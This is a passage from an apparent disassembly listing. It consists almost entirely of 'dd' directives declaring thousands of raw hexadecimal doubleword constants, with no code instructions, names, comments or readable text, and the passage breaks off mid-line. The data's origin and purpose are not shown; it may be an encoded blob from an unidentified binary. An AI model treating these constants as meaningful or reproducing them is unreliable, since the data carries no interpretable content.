23AC808Fh dd 8C17CE28h, 0C007DA06h, 3A293931h, 53BB467Bh, 0BE2E6C81h dd 0DA028ABDh, 1CCA9340h, 0DF6D9807h, 7F004379h, 60A03h dd 25103CC5h, 0F724CEE6h, 0D440D51Fh, 0F8A0AD47h, 23BA3D40h dd 12FF0161h, 46C1C57Fh, 21098C87h, 24C32009h, 0ACFF7Ah dd 1316E791h, 1A18B33Ah, 3200F5Fh, 0F70C0406h, 807A128Ah dd 19DBE557h, 0DC07CDF4h, 74094020h, 0E333D880h, 4C6A3CCFh dd 0D4F84B87h, 895AE63Dh, 17690300h, 1931E084h, 89FE0E65h dd 0B88C6461h, 0AC00CA21h, 1E3ACFFBh, 823CF8h, 84352A7Dh dd 70C77F6h, 2126D00h, 0B0B84709h, 383F6F52h, 391FDD00h dd 0D06E560h, 4BD051Eh, 0B9113308h, 39907A20h, 691F7585h dd 0A030789Bh, 1949A147h, 4923BB02h, 0F002F3Dh, 1092F33Bh dd 1871EC6Fh, 80597A9Ch, 861FD338h, 5F046E66h, 52003C06h dd 4C7ED6B7h, 5EF9FC1Eh, 19E3D1B0h, 0AE2D00FAh, 22A7C7B3h dd 0C1006295h, 0DCC99135h, 3298A394h, 36580ADFh, 0C7493880h dd 5E1E9CB6h, 4D0EEB02h, 0F5AF4Ah, 0AA85FFADh, 749D001Dh dd 8B53E1F9h, 6A12A0BBh, 720178ECh, 15692225h, 300F3FE8h dd 0A5E88360h, 7D00F1EEh, 8E92FD8Fh, 0CE897Ch, 0EBF25C54h dd 3F9CA80Dh, 0A09AA200h, 1E3365E7h, 41A358F9h, 32D4301h dd 70FC4094h, 56006C7Fh, 0E489B264h, 2EA3FE79h, 3B3ACEh dd 0B5275ECCh, 0C501E22Fh, 0B0C3EFB3h, 10A12E02h, 0F9185C04h dd 7610E418h, 690D00DAh, 71220794h, 0A2001528h, 0BBEA84B0h dd 6928DF9h, 7B764617h, 0F622290Ch, 8B102272h, 22905922h dd 0A5023E7h, 8D445E28h, 5C9144E5h, 0FFF2A45h, 133EEF29h dd 13AD72E7h, 0A3B83FC8h, 0D80F1D86h, 43C54BF6h, 0CD6836F1h dd 0EC280780h, 0B1861EFAh, 7A48C058h, 3A0F331Bh, 6D9EDB00h dd 0AB33181h, 0F40C0EEFh, 0BAE0B77Bh, 0B27F92A9h, 287E18C0h dd 36C6D6Ah, 2153A145h, 6C82EF1h, 0DB009EBEh, 55D1C2E4h dd 4E9529h, 91D76148h, 8B281A74h, 0CFA01F1Fh, 0A692AA00h dd 3D2E23E6h, 458059F8h, 6D941C86h, 0E300F799h, 8C3E887Fh dd 0FE504Ch, 309DCC06h, 0CE41EDFDh, 22366702h, 0A0085DB4h dd 0E448F7FCh, 60823F21h, 1C19A6h, 2B0E0FB8h, 3303FD02h dd 97F11DD4h, 88B694h, 40828156h, 17649EABh, 0C7038D74h dd 8827203Ah, 0C7001E6h, 8C3372D9h, 3BD001D4h, 2080EC11h dd 4F0E376Dh, 0A10F06F7h, 0B6887E44h, 9DF8FCh, 0E2D048ACh dd 64491732h, 31F12700h, 0C044410Dh, 693D0E9Ah, 0E480EEABh dd 32353933h, 0F239300h, 59A8B32Eh, 46B70080h, 44A92BBBh dd 81006FB9h, 0DE97D84h, 0F514006h, 0C6A1DCF9h, 6BE09F0Fh dd 0FA7587B7h, 0E0303F00h, 0AC6ABADAh, 5C90D9h, 0FEFC6099h dd 67A64B6Dh, 4C0B08E4h, 84C7BD2Dh, 0C90F810h, 59F31Eh dd 276740BAh, 0E41A9C7Fh, 0E2D52200h, 0DCA9A577h, 3B7100C2h dd 0CF493C48h, 2400F0CEh, 698E7E80h, 2829C04Ah, 0BC206Eh dd 8B957753h, 91CD8FB3h, 62B71B00h, 0E97272Eh, 0CEC500C8h dd 65250872h, 0E85C44F5h, 2C370728h, 0BEB0D31Dh, 4A0CDBh dd 47439AEBh, 33463CB9h, 4FAED03h, 0D8E2F8E4h, 56739D3h dd 9798FF3Eh, 0F6F000D0h, 6DAAD885h, 0A373B090h, 5FDFBF03h dd 0B77C7222h, 1898D550h, 88532468h, 9A00000h, 1331DD4Ah dd 40084E09h, 0AB00A0FFh, 0ED456Dh, 0A488B63Ah, 0A2308A89h dd 0A5A83Fh, 118DCD79h, 0C10F1C3Fh, 0A45173E8h, 1B17E8D0h dd 5464D301h, 0B8451579h, 3F36F0C8h, 7B007F75h, 9B5DFDC7h dd 2D0028C0h, 0CB8D1499h, 2CC08h, 97D596B3h, 866829EDh dd 8750FE28h, 1ECD3900h, 20A4D375h, 2A830058h, 82AF52D1h dd 0A1000766h, 0EC14E629h, 2CD6B1D0h, 307F81h, 7AE2B48Ch dd 12EA3F76h, 5000CE7Bh, 7368179Eh, 456342h, 0A71065Eh dd 5183933Fh, 0EE89A501h, 880FC5D5h, 8D27D4h, 0EA776602h dd 0E4B63B11h, 200079E6h, 5DA17FA2h, 0E8C863h, 0D3B01CA4h dd 76912A43h, 0BAF52900h, 5AE699Dh, 6AAD00E3h, 62F62347h dd 0E20E8C9Ah, 0C0109BCEh, 0E5EF7092h, 27ED0019h, 5034D74Bh dd 7A00916Dh, 0BE634312h, 0AAB453h, 0DF6F1F51h, 0DC3FAEE8h dd 24210B00h, 488C1D70h, 30DE3CA0h, 0CA32E40Bh, 3882DE80h dd 8F1D3141h, 609E4227h, 0DE2A5B00h, 77DB2Bh, 0B3CF7C36h dd 66F176ABh, 0FDE30601h, 0CB71E90Fh, 11C45C4h, 0DF0AC99Ah dd 0C4933E41h, 3CC07CBDh, 0F0D7A311h, 0E08B7058h, 7C5F7C97h dd 65A6009Ah, 0CD6D3B2Bh, 1F007CE4h, 136AF126h, 0FF56CBE1h dd 701806F4h, 20B800BDh, 62CCE839h, 8C00BC3Ch, 110C0AC4h dd 714F4D1Fh, 207200A5h, 3BB0407Ch, 0F53B515Dh, 0BFA200B2h dd 489887A7h, 39700E59h, 95206079h, 0B96E2075h, 53C53601h dd 0C25B4DE3h, 3CC183FCh, 0A88076A6h, 0F9235A8Eh, 56031B01h dd 0DA259E0Ah, 0A153A8DDh, 87FD00A0h, 214CE3AFh, 64003ECFh dd 0C93A5DC2h, 0F5DAF9h, 5F72521Eh, 92669661h, 0AF7C5E61h dd 8CD01DFh, 0C8355081h, 0CD61DA84h, 2256E067h, 172B2803h dd 8079D918h, 0F8264Ch, 0C9B1EC50h, 877298BEh, 0FBE61200h dd 81CD9DB8h, 6CFD0039h, 253F2732h, 5C00AC09h, 8FB8CB58h dd 0F0171024h, 0FB660306h, 2B3C5DEEh, 0C0C5C191h, 7D05B676h dd 4D89ECDEh, 798BC0EBh, 6103646Dh, 39AFC153h, 0D8E2D02Dh dd 0D6060055h, 453ECE07h, 0AA00954Dh, 0A74C270Fh, 0B4DDCCh dd 0A909B1E8h, 4574938Fh, 0B6E4E04h, 0BEC0E0C2h, 320BF41h dd 0C5812773h, 0F0C0BC0Eh, 7F00B2E8h, 0CDBAF758h, 2EEF55DCh dd 0E91DF2h, 0C23B155Ch dd 371DD5B8h, 1A048E97h, 80FF34D1h, 0DC45FBD1h, 4853D000h dd 2960B4Dh, 8473008Ah, 0C2B8BFF8h, 0FA00FCB7h, 1B777205h dd 0B651CEh, 0DFC812DAh, 28843C04h, 40444D00h, 17E0C789h dd 72F9173Fh, 2E3AF83Dh, 2918D186h, 7CE3A618h, 636B0377h dd 0C2EB2748h, 0C0F8A7E9h, 7798C9AEh, 64DE0E00h, 0D346E79Ch dd 0FCC20059h, 4DA2D5E4h, 101D3865h, 0BA808C5Bh, 5A242E53h dd 0E0403BEh, 73ABCBA3h, 1133EC90h, 7BC34539h, 52498700h dd 0D34CF51h, 0B07910h, 0A748DC0Bh, 0D36179E8h, 80095A3Bh dd 0FE83C790h, 0B408D4h, 6962359Ch, 0E7140EBDh, 0BEEB1507h dd 4300F6A5h, 5B03FAh, 695C755Ah, 7047A6A9h, 40846730h dd 1D8B53E8h, 5DCF4E8Eh, 5477006Eh, 0AE78512Dh, 158C54Ch dd 9BF7A426h, 14CC8142h, 0FF500024h, 380245FCh, 0A00DC40h dd 0B158B7D4h, 2B5F6Fh, 80B5F804h, 0E6BDEA76h, 5A01000h dd 0ED321A7Eh, 0ADC801ABh, 26E964C2h, 5D9FE444h, 0F8F7A103h dd 0E5A79D7h, 0A0398F48h, 3DF4403Eh, 0DE12717Fh, 0C350D300h dd 3A9A0E10h, 0EE94902Fh, 0B0A29047h, 606E79FCh, 696851E8h dd 6F000A83h, 1BFF6F9h, 4C47B9EAh, 173EE048h, 561AF280h dd 40591C84h, 815F4200h, 0C8A7037Dh, 0FBC00C4h, 718A6435h dd 153FC956h, 0CE09839Bh, 0E14DC2E5h, 44200327h, 26E973F9h dd 0E09EAEh, 5DCFD032h, 8700AD91h, 64484EE8h, 1BB2CCh dd 0E5A51AEEh, 82ABC28Bh, 34BD6202h, 60B80861h, 1E72116Ah dd 0CFB1F0h, 373DA0E6h, 3E005CFFh, 712004A7h, 0A035FA3Ah dd 0E6B29B80h, 61E019Eh, 0C43149D3h, 7EE6F055h, 2F750907h dd 0A191BA5Ah, 2170B372h, 0D01000C4h, 311246E6h, 5C037C8Dh dd 0DAFE0E62h, 0D2DF98E2h, 42900EFh, 0ACEBA15Fh, 52306730h dd 0E20E1001h, 87360326h, 50693357h, 0C4091900h, 0C18DA48Fh dd 0CC700B3h, 8EF7D0FCh, 1FF4237Dh, 0A88FBF00h, 961C5A66h dd 0C6070BECh, 0A42044D8h, 0B706E4EDh, 0ACD08A01h, 5EE66EC2h dd 0A88BB68Eh, 8793F921h, 0C8968068h, 0AC2F899Ch, 8B9E001Eh dd 56F1FE41h, 0A52C715Bh, 0A7005013h, 0F342192Ah, 0A16F02A3h dd 7C4DA90Fh, 25D9E0DFh, 65F626A6h, 8D2428h, 0BA937B0Eh dd 0B41F96D2h, 839D954Bh, 371A907h, 0CFE5AD00h, 240EE4B9h dd 9E01A29h, 148E7084h, 1FC34120h, 6F009C58h, 195206DCh dd 1380BC69h, 10747F9h, 402FEDC4h, 1A49C0FDh, 0F5800B50h dd 0DB80E300h, 0EDCB14F7h, 2A5A00D4h, 5636D73h, 0E071FC9Fh dd 1CD64300h, 9CCAC469h, 0D51B30A3h, 2C637E28h, 38406539h dd 80BB3B60h, 81C66D01h, 0DE3648h, 7970A785h, 0FD1DD997h dd 6B80500h, 2A92074Eh, 13A9006Fh, 1A8CC2AFh, 0C1003E0Dh dd 6246729h, 0EEADB8h, 68EAD319h, 51434152h, 0A4E5B43Ch dd 910E547Fh, 4BC6064h, 0E81FF7A8h, 1B0EE19h, 0FCFA51B7h dd 0F0148B28h, 7A0E860Ah, 0C2055616h, 0E057B345h, 1EA64F8h dd 4CE5A6BBh, 708ECCEFh, 0A4B071D3h, 0C7197500h, 0E4D6498Ch dd 0EA7C40h, 0F2A45D77h, 13DECD69h, 3E00A34Fh, 0F70F3DD4h dd 63F13A17h, 0E7D8A607h, 154A7031h, 0E900145Ch, 0AFC613A1h dd 2893C46Ah, 3DFC632Fh, 6C00E508h, 66F22741h, 383C6133h dd 9EAC8024h, 0E195B0DBh, 6FE6D6h, 0F6CA352Ah, 3113EC6Eh dd 0F8E8B82Eh, 0AB85A480h, 2CEAC314h, 246EC4h, 15B25B5Ch dd 3B39FEF2h, 33470452h, 609C891Bh, 6996A086h, 3AD748C0h dd 0F6B70201h, 307AEFE1h, 57077244h, 0FAEC6277h, 30AB9570h dd 0D02C00A1h, 4BB2DDEAh, 0B6000D6Dh, 0FEED3EE3h, 9F8FFh dd 33678924h, 6832EFFCh, 198FBD00h, 0A34A4B8Ah, 975F00A8h dd 31EE6260h, 2600771Fh, 0EB3A9506h, 0F98E32h, 0B339EF15h dd 310E4660h, 5C3E5204h, 0C800795h, 57F329Fh, 9C2BCAC0h dd 153CC042h, 0FC3820A9h, 0C2478038h, 551322CCh, 519A011Bh dd 995BB5A4h, 79C420DAh, 71C12404h, 0B100CCF0h, 0B6C2513Bh dd 0BD3D093Bh, 0FAAD16D1h, 5E3A2C00h, 0E86B2C91h, 0ACE5004Eh dd 6604EB80h, 0F492BF7Fh, 896A5C00h, 0D4C446BDh, 0D2780527h dd 34CAD6h, 0FF44AB6h, 0C000656Bh, 51D74B74h, 3F1657h dd 0DE6C595h, 32F6E7A3h, 9E626100h, 0F2F1FC2h, 1980C0FBh dd 9A7ADAE6h, 0B0F29100h, 0F3728FF0h, 1A7400A9h, 0A0EB1E3Ah dd 0C700BBBDh, 412D5729h, 12E8ACFDh, 3947AFEh, 4DA0F294h dd 0BDC6EFF8h, 983DDC01h, 0A2426C1Eh, 0CB2FD8h, 9FAAD246h dd 849BA945h, 0EC485403h, 98638530h, 4B660Eh, 6226FDD4h dd 8908E8Ah, 38CDDD00h, 0F3C82804h, 0C1D002C5h, 79ED7248h dd 1BBB6060h, 881C1100h, 2E6DF53h, 3022017Ah, 84D76BFh dd 5C36EC6Fh, 0ADBA607h, 527662Eh, 0E6F01BD7h, 1D1F222h dd 71F65707h, 0C280847Ch, 0AF1917C0h, 7600E974h, 1C352E4h dd 5A88D9h, 9AB1C272h, 0A11C89E8h, 0B5B45000h, 0C1D6BB21h dd 40A8A06Bh, 3448003Dh, 0EE2A5D79h, 6F00B7C5h, 0B6E203ACh dd 0CEEAA3h, 38D35ED9h, 33E0BDC2h, 89CE0760h, 1F9170F0h dd 6F2C37AFh, 8204247Ch, 0B8806D9Bh, 3AB294h, 83E8F52Dh dd 96EE104Dh, 3201C37Eh, 0F3D6D952h, 8030F2DDh, 0D1EF07C6h dd 0E0CA62CDh, 2B0E0ACFh, 8DC16617h, 0C1EFC21h, 109AE300h dd 6F47E200h, 1B56D090h, 0DE50C3A2h, 0EDF04C3Dh, 8586B33h dd 2AEB0108h, 687B7722h, 4FF092h, 188648F8h, 0C8075DF1h dd 2E92DA51h, 0FAC06D14h, 0B417F8h, 8DDB0D3Fh, 0FBAB653Bh dd 7A02F8B0h, 9AEB6B46h, 0F18660D2h, 0F4B7000Ah, 1A3ACDF0h dd 50E2D622h, 0E33F2401h, 0ADC0F7D9h db 70h, 0B3h, 7 db 3 dd 0FB44CAB1h, 98002810h, 99AC90A4h, 314559Bh, 879E6468h dd 6AABBD96h, 1F22D800h, 0DAC45A8Fh, 754C000Bh, 32AB29A3h dd 900F26Bh, 54B1AE33h, 2D38C6Ah, 5BE22771h, 944831DFh dd 0C900768Dh, 83E6EDEEh, 964D3C29h, 0ABEE30BCh, 273880A5h dd 3BD71C0Dh, 32A64B41h, 0A147B45Eh, 0E954F860h, 953500E6h dd 0EAE1C556h, 4B00A8D7h, 87AA2C45h, 0B70167h, 0A954A6CEh dd 0C8396880h, 0AD70A000h, 10E0E57Fh, 120B00ABh, 0D0AC8EE1h dd 8100B855h, 0A9879A25h, 28C5CBFh, 33D8384Eh, 0BCE0DEF1h dd 5E73CEAAh, 9314B00h, 508A6F72h, 306E5888h, 0E4C04600h dd 1D763389h, 8200C0B2h, 27DFCD38h, 148F3B4h, 0FFE2E33Dh dd 0D2FA5FE5h, 9675CF40h, 1E714900h, 0E19DC8ECh, 0E6F0003Ch dd 0CEAD5C63h, 25003F67h, 0AC33A729h, 0E070A34Fh, 5374E8h dd 997D6CF8h, 16374695h, 714B6300h, 0B091400Bh, 0DBB126E5h dd 0A7E900ADh, 0EB7793AEh, 358EFA00h, 15E1B756h, 0CF4D02E6h dd 873EA201h, 8966D0A0h, 70E70B0Eh, 0C5005E2Ch, 57F4CA99h dd 754F37h, 0EBD3B8C3h, 0C7592F50h, 9BACD100h, 23296941h dd 0FE1F1BBCh, 0F1B0626Ah, 0CF846C9h, 0D8EBA70Ch, 1DFB6049h dd 0CE649EC6h, 17433642h, 0B7C08023h, 0F9F61921h, 0FEE588C0h dd 0CE45B69h, 64C5C475h, 6D50EDA1h, 0DD0C0A24h, 80C1F41h dd 0D8793FF3h, 0ED0EF98Fh, 5897A83h, 56452800h, 8769AEFAh dd 0E9176024h, 0E3AB0C4Dh, 798D2500h, 0C4C6B774h, 31940064h dd 6B91C7E6h, 18A02287h, 463CB7Ah, 548551h, 0B6AC7CB0h dd 7A067F57h, 81388750h, 0A172600h, 6C1F4215h, 0C4993B23h dd 2AC3C500h, 0CC3DB04Ch, 0CF6A5500h, 63085D59h, 0F498D6h dd 2F24C16Eh, 4DF0DB3Fh, 873A7700h, 0E7410EAh, 1CAB13E7h dd 13BA0751h, 908BE262h, 0C7C14D60h, 4F3F5B00h, 0EBE484D8h dd 1C3100BEh, 14A4ED71h, 40003A6Dh, 0C919A102h, 9B1613h dd 0E61E7DCh, 0EAE927A4h, 32075A00h, 9AF2286Fh, 4D9FA20h dd 56F14E2Eh, 0F8A980FBh, 1D03D27Eh, 920D4A1Eh, 4581B833h dd 0A3710214h, 2C130699h, 0CADB40FDh, 0DF500003h, 0CB31D595h dd 4D9881C5h, 57CFF507h, 0F900EFC4h, 1C09E9Dh, 0BF4AACDDh dd 500BFE08h, 0C6F8DAB8h, 0DF4CEB00h, 2A299251h, 435F055Eh dd 0C0C7570Ah, 0ECE85B5Ch, 97511D00h, 0ED499F93h, 21E728BAh dd 9B0F06C4h, 505D0480h, 0D40EDB19h, 0DAF02729h, 327B05EBh dd 40031110h, 0D9AD54DCh, 430F242h, 0DD8D890Ch, 7DEE01h dd 7325824Fh, 5D14F8C7h, 3600A2F0h, 0B409E8CAh, 39ACC7Ah dd 30C474EBh, 81B0EE16h, 82E0BE35h, 45DEFE17h, 98551CFAh dd 0C3D328B9h, 25075900h, 0B4DD856Bh, 918C00D8h, 0A7204D45h dd 0EE01A9B2h, 949BCAD0h, 0E1DCB0E6h, 0A83600B7h, 5035F2D3h dd 4438CF3Bh, 424A9EDEh, 0DB00E11Fh, 1C0AE4Ch, 303430FBh dd 621C59Ch, 0D2B12400h, 48610EB9h, 931C04Eh, 0C9C68B91h dd 19FCA000h, 8CC8E5DAh, 0DC2A0EA8h, 0FD063670h, 487108Dh dd 60579F50h, 0D76210FEh, 0AE08FECh, 340B1900h, 0E03068FDh dd 9F8A069Ah, 28D717A2h, 44EA4822h, 3BF87F2Dh, 45272300h dd 0E44A5D25h, 6BF000C7h, 8D1AE05Eh, 0CA12ADF9h, 0EEE17C8h dd 8C20D58Ch, 0DB7238B3h, 0FA9F1600h, 2B24BFB0h, 54390051h dd 61C3F6EEh, 7600686Bh, 53DAD592h, 7B87CD3h, 445C3AD4h dd 0AABB00D1h, 70031379h, 2ABD9863h, 0F57B086h, 0D9EC014Bh dd 0DA95AA8Dh, 3E8CD043h, 0C7F31A00h, 176090D3h, 671D01B9h dd 76A969C6h, 8711BEFDh, 0A7233747h, 0C3F378D0h, 537C0077h dd 72C7BD8h, 0DF0EE18Ch, 80F49105h, 0E284A256h, 0AC8A50D3h dd 0DAB100BBh, 59E3EE09h, 0D40095B0h, 26DD3742h, 0D05D43h dd 3CD9A81Bh, 460C5A6Fh, 0E762B700h, 0C5975B8Ah, 6578001Dh dd 0D3F1498Eh, 8000AFC2h, 146C6083h, 12EC9258h, 0CD6536h dd 0F9F2B14Dh, 0E8000B1Dh, 0C01FE643h, 0A417BAh, 0E00580B3h dd 31DCF96Ah, 6B8EC20Fh, 5C76E302h, 0C954B071h, 38940044h dd 0BF0CF9Bh, 7F00CCD9h, 0EE32524Eh, 5F51E5h, 8E7788D1h dd 7242858Ch, 68C17A04h, 20812CB5h, 17029F4h, 4D89005Ch dd 6C6DBF6Eh, 0A200408Fh, 87A6B006h, 1E61157Ah, 9837E9Fh dd 0BB809671h, 6FBA34FEh, 0D169E50Fh, 7247C1B4h, 80EEDC32h dd 0AD8FC3F0h, 0CC970074h, 82B03DF3h, 300101Fh, 0C19348F6h dd 0C96CBCh, 0BD1AA3C3h, 6F16F906h, 806B3738h, 76C70CDCh dd 11E36h, 673166B3h, 0F85B13FAh, 79FBD600h, 0C5F257AEh dd 55F3064Eh, 29A5DF28h, 0FCEBBF00h, 88842BE9h, 408305AAh dd 168E5B4Ch, 0F0D107F0h, 53B690C7h, 0C1DC6DE1h, 0CC1AAE00h dd 0F7E8B26h, 0A1E8E769h, 6D1009Eh, 68B7C4E4h, 5E3DF903h dd 0F05071CFh, 31D60D55h, 0B47864A1h, 6840DAADh, 0EC006E80h dd 561BB24Bh, 522A05h, 771D40DAh, 0DB57C7F4h, 0AB5BAC00h dd 0AD8A6733h, 0FB9D0062h, 9ABA75C8h, 42B8E93Ch, 6C2CD01h dd 673225A8h, 15854ECh, 6CE343DEh, 0D03AD579h, 0D2002934h dd 84A9E408h, 0C08F8607h, 8C5E56E8h, 0E0983C1Fh, 1ECBB70Fh dd 0EFC0278Dh, 0ED5D97E0h, 94A00060h, 3625D605h, 0C80E2B93h dd 0A042B715h, 0ED3C516Ch, 96F21E64h, 891EDFC5h, 5000D47Bh dd 79710DDh, 0DFD7EB00h, 3D22793Ah, 0BBFD248Eh, 37C281DCh dd 0E899759Ah, 0DE0039B6h, 939D7047h, 26CEDAB0h, 9E641938h dd 222100F5h, 7C79AF8Fh, 3C3EDF00h, 4CB11455h, 94D401EDh dd 99B04EE5h, 0BDE820AAh, 31526B00h, 0B4D3EF36h, 30CF00B1h dd 0A61197F7h, 4CE47B0Bh, 23CE2809h, 60908FE2h, 6895308Ch dd 1177020Fh, 0A4FB7BF3h, 0C4F77040h, 0B089D701h, 71AB6239h dd 8E4C20h, 7BDC9732h, 8767AAFFh, 0D548A0E8h, 0C56D0ABCh dd 0DA00A059h, 0D4867F9Ah, 948B50FDh, 76BF00D2h, 2905CA95h dd 0D813A701h, 9400233Ah, 0F1C6BE0Ah, 3F7900C3h, 671E7B4Eh dd 0CF0BD24Fh, 80F411ACh, 0E7DB754Fh, 60D476C3h, 0E86BC12Fh dd 930098D3h, 1EFBB6CFh, 4C5C5714h, 0E20021BEh, 469D5ED9h dd 0A13CB863h, 0FEDE2EC6h, 0EB7C803Ch, 12958EDCh, 482B0078h dd 0F8ADFFB4h, 0F90090CBh, 9CE6748Fh, 0C1AC91h, 0BD50864Fh dd 0D0C5DD8Bh, 0C866591Eh, 56A98A00h, 14C3774h, 9D515D4h dd 0E855934Dh, 6F02BC27h, 0E5712DDCh, 7DE08047h, 43787EBh dd 0B08CAFF5h, 30B4C730h, 77102932h, 9DD66E09h, 81D880D4h dd 7BD8525h, 9A2C1AAh, 0C0298423h, 0C8EF3350h, 1E293F60h dd 58BE81h, 0E36903A2h, 31716D0Dh, 0B0603324h, 0F8F9D18Dh dd 3B957E70h, 0D580BAD9h, 0E996CE3Eh, 11009E8Dh, 84F31C2h dd 0CD1C032h, 368B5F7Ch, 3E001699h, 604D9445h, 7B762Ah dd 0AAF89334h, 63D5F307h, 5FE5C501h, 56E885C9h, 0A871A82h dd 886036FCh, 3800B02Dh, 0DAD080EDh, 77101E98h, 0FDBB005Bh dd 0DE7FD454h, 59733B1Fh, 6D3DC800h, 0D537502Dh, 8884496Fh dd 0D3864E1Fh, 0A60300B0h, 1A895AF0h, 0BDE310Fh, 8D5B809Eh dd 18DA3D1Eh, 0B8BFB4F2h, 0FBF6EB28h, 867AC00h, 86EC2E7Dh dd 168E424h, 0D03AA903h, 0EE5840BCh, 0FA8550E0h, 0AFF291Ch dd 768991h, 88242EC0h, 7689684h, 38ADC21Eh, 9A0A3222h dd 2B031820h, 1AC0A480h, 0BA4226E5h, 782A0044h, 0B283A3DDh dd 843A4C28h, 0C4001C2h, 87A2F8D9h, 6D25E0CBh, 0FD3900FEh dd 0E4099AA6h, 0F00522Eh dd 0C277CD5Ch, 2DC818h, 0BFADA0CBh, 8EFF2B84h, 0DEA93301h dd 6D27739Ah, 2203843h, 0EB2B9188h, 62104026h, 94A45D4Bh dd 9AA52100h, 1A4E9F70h, 0BD0084B8h, 10D01987h, 0A2F705h dd 0C78D3E2Fh, 293B4046h, 0D95FB107h, 0F2F2956Ah, 868D6077h dd 14C60079h, 0F9488C9Bh, 0E500768Bh, 0D351AF30h, 7A59888h dd 1DF8B18Eh, 42C920BBh, 0F63EA69Ah, 13BF002Fh, 24CD5810h dd 68B00077h, 29C15AEDh, 2E0389D6h, 0F9A355AEh, 955E8026h dd 6A621652h, 78310FD3h, 0C0BDF804h, 56152317h, 9D731B00h dd 2B19CD5Fh, 0DB7F2Ch, 796D3C31h, 0D71284EDh, 0D1812326h dd 107B6903h, 6C15B846h, 799F00B0h, 0A59A4F64h, 98AAFFE2h dd 0BA7B7760h, 0C90C5000h, 85995A3Fh, 0D72312ADh, 6DC80018h dd 0C5376748h, 4B73B201h, 2A7B426Fh, 716147CCh, 0A48C431h dd 1D1890FBh, 2103B32Bh, 577DEDEFh, 10A00043h, 74D319F9h dd 8C007B53h, 86427265h, 18568DF0h, 41FF0689h, 0B6005597h dd 0F6B40490h, 0CB7A85h, 46A2C7A9h, 4770F2ABh, 87069418h dd 4AD931h, 0CFE3E4A3h, 0D521781h, 3CC21B00h, 6A568C4Dh dd 0E64C03EEh, 0F92DC00Fh, 3B6749E0h, 0AC001D77h, 0B7E7A3Eh dd 0D1FD9Ch, 0E0E4637Fh, 48217C36h, 0F4623A78h, 4974E869h dd 0EFC8FA2Ch, 0BFC31FB1h, 0AA668088h, 79E2D8FFh, 9DC1BE00h dd 0B410EE0Ch, 3C420302h, 8E623A32h, 4DC04903h, 0F08F2D96h dd 4641676h, 0FEF8E425h, 601CB426h, 1ED56200h, 93C76B90h dd 2040E1ADh, 0A03923FEh, 128F3B14h, 0C39FE40Bh, 6FA8A640h dd 5BB0E802h, 19ACE530h, 39340E3h, 7B0EE783h, 6BF091A1h dd 219D801h, 0F851F49Fh, 0E950F4h, 254D209Eh, 0ACC6547Dh dd 0DB079401h, 517185BEh, 90CA63E2h, 938B27h, 0E37A039h dd 70CCE54Ch, 30481403h, 0AEF636h, 0CDF87229h, 2EEC2901h dd 63791A58h, 317A08h, 0CDC75120h, 22A186ADh, 5A014C71h dd 0B4EBD1E0h, 608069CBh, 1E9203A5h, 3F261AEFh, 10338608h dd 0FAA0E721h, 198E7D0Fh, 8550635h, 4C218078h, 0C371EF0Bh dd 0AF1600FFh, 37C9EE3h, 0A3180773h, 6E2977B5h, 8108C7D2h dd 0F28BF06Ah, 0C501B628h, 0ED6CE5B9h, 90B67F1Dh, 81609030h dd 5DE3D339h, 15E5F00Ah, 807705D0h, 0FC012223h, 8C297DCDh dd 6D887C18h, 67CD0FCBh, 8BA02953h, 71878328h, 458068C1h dd 0AC48D511h, 0F91A8C31h, 313606CDh, 52107DACh, 340FCDC0h dd 83D41F5Dh, 0B78493h, 0C6DAF459h, 675242E5h, 701D4D00h dd 0C399875Ch, 0EB690E02h, 7C2949h, 6A75D8FEh, 4100219Dh dd 0C8B157BFh, 604AFAh, 8686477h, 0E3A3CC34h, 52005CF8h dd 5F335705h, 1E01ECF2h, 0EE2D14h, 1F80394Ah, 3D008E91h dd 4678BD4Ch, 3E2694h, 2E07DAE6h, 0F160AD48h, 4EEC5B07h dd 1750C5C1h, 29586Ah, 0A359B031h, 0FE139419h, 0C4B0401h dd 1C33155Fh, 21980898h, 0FE760B72h, 0F86DFC00h, 0B1A9CE42h dd 0A154074Bh, 619BDA38h, 80C23165h, 25ADC431h, 4F41EE8h dd 9269C6CBh, 0A0F3C176h, 2CE7C01Fh, 53069D01h, 0A68EE0A7h dd 0B4B34081h, 0D318CB0Bh, 9E394826h, 80961100h, 669EBFBDh dd 21C70870h, 9A825B00h, 26D1DD43h, 161CA0EBh, 508400F7h dd 389ECECBh, 60C3A2E2h, 8586399h, 8EB0FF20h, 18B4684Eh dd 4FCC4119h, 84C85E6Fh, 41C6FC58h, 0FE1C0C20h, 43388CE8h dd 0EC08A30Ch, 1B9295Ah, 0A758D812h, 0D9B03517h, 5008987Fh dd 0F42E1A21h, 0EA7C5C62h, 38409C00h, 3ECDD31h, 2682AC00h dd 0F5588CFAh, 0AD9A18E8h, 84F1B048h, 70194127h, 0C2360162h dd 0E8D9E65Fh, 5020ECEDh, 7EDC8600h, 0AA08C024h, 1F5F00FBh dd 0C561A088h, 0AC00E9ABh, 0CC6CD855h, 0EA75EDECh, 587836h dd 0B0B4A476h, 0DF0C87Ah, 18F99503h, 81FBA728h, 46D86AF6h dd 0BBE600FDh, 3247E3FEh, 2D00B41Ah, 0F3A84D29h, 208A2Fh dd 0CD110E23h, 22FA43B2h, 0D4A15A00h, 300BAEC7h, 3B977B37h dd 0F9F2799h, 0FD080059h, 179E292Eh, 0DA394705h, 0DD8075E8h dd 9F6AF5h, 76C7920Bh, 749409CAh, 3333Fh, 55DC20B3h, 1E187D6Bh dd 0C0A32C24h, 9E72F569h, 0D7005F5Ah, 88038350h, 39451BBh dd 8A4C828Ch, 0C6AFEC71h, 0D61230A2h, 1B0024A1h, 6B0AB8B9h dd 99350096h, 0D2839C1Bh, 0B400228Eh, 89A090E1h, 613FE6h dd 0B30F3B7Ch, 0A3F5718Bh, 0B1BA1828h, 8A677F00h, 8FE639D8h dd 28276F1Ah, 70D90A27h, 0EC77A2F6h, 1B765606h, 18A403h dd 57E31FC9h, 59D87374h, 93D0C7Dh, 7017729h, 0AC5C439h dd 60604832h, 0AEF40C69h, 8403E62h, 6BF18300h, 708A073Ch dd 0D05C7338h, 931E84F2h, 89A03052h, 0BA3B307Bh, 9C7F00B9h dd 519835E7h, 0A037A1Ah, 0DF82D3AEh, 7A1F80A0h, 0C43355D4h dd 0D6A1C11Eh, 0F507642Eh, 28A0916Ch, 31ED38h, 9E471D4Ah dd 3D4FF422h, 5C19083Ch, 3F33C7Bh, 0D6BB3391h, 0F88CA3EFh dd 1A0939Bh, 0C1B1715Dh, 8CD93E49h, 20349708h, 0A1AA0030h dd 0DC520DBh, 0A500A805h, 9EDE0207h, 159A32h, 0F0B398C6h dd 75CFA494h, 